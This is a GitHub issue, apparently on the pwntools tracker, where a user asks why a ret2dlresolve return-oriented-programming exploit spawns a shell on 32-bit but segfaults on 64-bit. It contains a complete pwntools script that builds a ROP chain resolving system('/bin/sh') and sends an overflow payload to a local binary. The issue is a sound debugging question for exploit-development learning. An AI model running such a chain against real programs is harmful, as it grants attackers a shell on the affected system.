Skip to content

ret2dlresolve segfaulting. #2417

@rectanglestuff

Description

@rectanglestuff

get segfault for 64 bit, the 64+context.bytes are 72, and this seems to be the correct offset for the 64bit example.

on 32 bit

p.send(fit({76: rop.chain(), 200: dlresolve.payload}))

getting still a shell

from pwn import *

context.binary = elf = ELF('./main')
rop = ROP(elf)
dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["/bin/sh"])

rop.read(0, dlresolve.data_addr)
rop.ret2dlresolve(dlresolve)

raw_rop = rop.chain()
print(rop.dump())
print(64+context.bytes)

p = elf.process()
p.sendline(fit({64+context.bytes:rop.chain(), 200:dlresolve.payload}))
p.interactive()

Metadata

Metadata

Assignees

No one assigned

    Labels

    questionropReturn Oriented Programming manipulation routines

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions